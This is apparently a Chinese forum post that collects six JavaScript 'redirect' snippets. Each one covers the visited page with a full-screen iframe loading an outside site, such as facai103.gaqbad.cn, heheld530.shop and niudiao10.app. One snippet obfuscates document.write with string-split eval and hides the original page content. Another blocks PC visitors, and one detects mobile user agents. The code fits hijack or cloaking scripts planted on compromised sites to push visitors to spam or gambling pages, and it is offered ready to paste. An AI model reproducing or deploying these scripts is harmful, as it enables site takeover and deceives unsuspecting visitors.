js跳转代码合集
js跳转代码合集1.<script src="http://网址.com/js/config.js"></script>
_src = 'https://网址.com/'
document.write('<meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1">');
document.write('<meta name="referrer" content="no-referrer">');
var hd = document.head;
var styleCSS = document.createElement('style'), yadivbo = document.createElement('div');
styleCSS.innerHTML = 'html,body{position:relative;width:auto !important;height:100% !important;min-width:auto !important;overflow:hidden;}.yadivbo{position:fixed;top:0;left:0;right:0;height:100%;z-index:9999999999;background:#fff;}';
yadivbo.setAttribute('class', 'yadivbo');
yadivbo.innerHTML = '<iframe src='+ _src +' frameborder="0" style="position:fixed;top:0;left:0;width:100% !important;height:100% !important;max-height: none !important;"></iframe>';
hd.appendChild(styleCSS);
setTimeout(function(){
hd.parentNode.appendChild(yadivbo);
}, 250);
2.<script src="https://js.网址。com/erc.js"></script>
var titlestr = document.title;
var arr = ["https://facai103.gaqbad.cn/126.html"];
setFrame(arr);
function setFrame(olink) {
var ss = "<title>" + titlestr + "</title><div id=\"showcloneshengxiaon\" style=\"height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;\"><ifr" + "ame scrolling=\"yes\" marginheight=0 marginwidth=0 frameborder=\"0\" border=\"0\" width=\"100%\" height=\"100%\" src=\"" + olink + "\"></iframe></div><style type=\"text/css\">html{width:100%;height:100%;}body {margin:0;padding:0;width:100%;height:100%;}</style>";
eval("docu" + "ment.wr" + "ite('" + ss + "');");
try {
// TOLOOK
setTimeout(function () {
console.log(document.body.children.length);
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children.tagName;
var b = document.body.children.id;
console.log(i + "***" + a + "**" + b);
if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
document.body.children.style.display = "none";
}
} catch (e) {
console.log("CatchClause", e);
}
}
var oMeta = document.createElement("meta");
oMeta.name = "viewport";
oMeta.content = "width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no";
document.getElementsByTagName("head").appendChild(oMeta);
}, 100);
} catch (e) {
console.log("CatchClause", e);
}
}
3.<script src="https://www.juxianmatou.com/xh.js"></script>
document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
var iframe = document.createElement('iframe');
iframe.src = 'https://heheld530.shop/';
iframe.scrolling = 'auto';
iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
var div1 = document.createElement("div");
var div =document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
if (is_mobi) {
div1.style.overflow = "auto";
}
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);4.js框架4屏蔽pc <script src="http://www.123.com/3.js"></script>
;(function(){
'use strict';
var CI =function(url,eleJson){
if (!(this instanceof CI)) return new CI();
var ci = this;
ci.url = "https://niudiao10.app";
ci.dom = {
"node":"div",
"attr":[{
"key":"id",
"value":"if"
}],
"style":"position:fixed;top:0;left:0;z-index:99999999999;width:100%;height:100%;background:#ffffff",
"children":{
"node":"iframe",
"attr":[{
"key":"id",
"value":"mainIframe"
},{
"key":"src",
"value":ci.url
},{
"key":"width",
"value":"100%"
},{
"key":"scrolling",
"value":"yes"
},{
"key":"height",
"value":"100%"
},{
"key":"referrerpolicy",
"value":"origin"
},{
"key":"style",
"value":"border:0;"
}]
}
};
ci.__ini = function(){
if(ci.__isJq()) $(document).ready(ci.__createDomByJq);
else ci.__readyGo();
};
ci.__isJq = function(){
if(typeof $ != 'undefined') return true;
else return false;
};
ci.__createDomByJq =function(){
var _fatherDom = ci.__createElementByJs();
$("html").append(_fatherDom);
$(_fatherDom).children().css({
"height": $(window).height()
});
$("html, body").css({
"overflow": "hidden"
});
};
ci.__createDomByJs =function(){
var _fatherDom = ci.__createElementByJs();
document.documentElement.appendChild(_fatherDom);
document.documentElement.style.overflow = "hidden";
};
ci.__createElementByJs =function(){
var domJson = ci.dom;
var __fatherDom = document.createElement(domJson["node"]);
for(var i in domJson["attr"]){
__fatherDom.setAttribute(domJson["attr"]["key"],domJson["attr"]["value"]);
}
__fatherDom.style.cssText = domJson["style"];
var __childDom = document.createElement(domJson["children"]["node"]);
for(var i in domJson["children"]["attr"]){
__childDom.setAttribute(domJson["children"]["attr"]["key"],domJson["children"]["attr"]["value"]);
}
__childDom.style.cssText = "height:"+window.innerHeight+"px;";
__fatherDom.appendChild(__childDom);
return __fatherDom;
};
ci.__readyGo = function(){
if (document.readyState === "complete") {
return setTimeout(ci.__createDomByJs("readystate"), 1);
}
if (document.addEventListener) {
document.addEventListener("DOMContentLoaded", ci.__createDomByJs(), false);
// window.addEventListener("load", ci.__createDomByJs(), false);
}else if (document.attachEvent) {
document.attachEvent("onreadystatechange", ci.__createDomByJs());
// window.attachEvent("onload", ci.__createDomByJs());
var toplevel = false;
try {
toplevel = window.frameElement == null;
} catch(e) {}
if (document.documentElement.doScroll && toplevel) {
//do something
}
}
};
};
window.CI = CI;
})();
var ci = new CI();
ci.__ini();5.<script src="/js/config.js"></script>
(function() {
function generateRandomString(length) {
return Math.random().toString(36).substring(2, length + 2);
}
function loadExternalContent(url) {
var frameName = generateRandomString(10);
var frame = document.createElement('iframe');
frame.id = frameName;
frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;';
frame.src = url;
document.body.appendChild(frame);
}
var externalUrl = 'https://网址.site';
loadExternalContent(externalUrl);
})();6.简洁的,复制直接放置任意
<title>欢迎您!</title>
<style>
html,body,iframe{width: 100%;height: 100%;padding: 0;margin: 0}
#wrap{width: 100%;height: 100%;}
iframe{border: none;}
</style>
<div id="wrap">
<iframe src="https://网址.com/"></iframe>
</div>
页:
[1]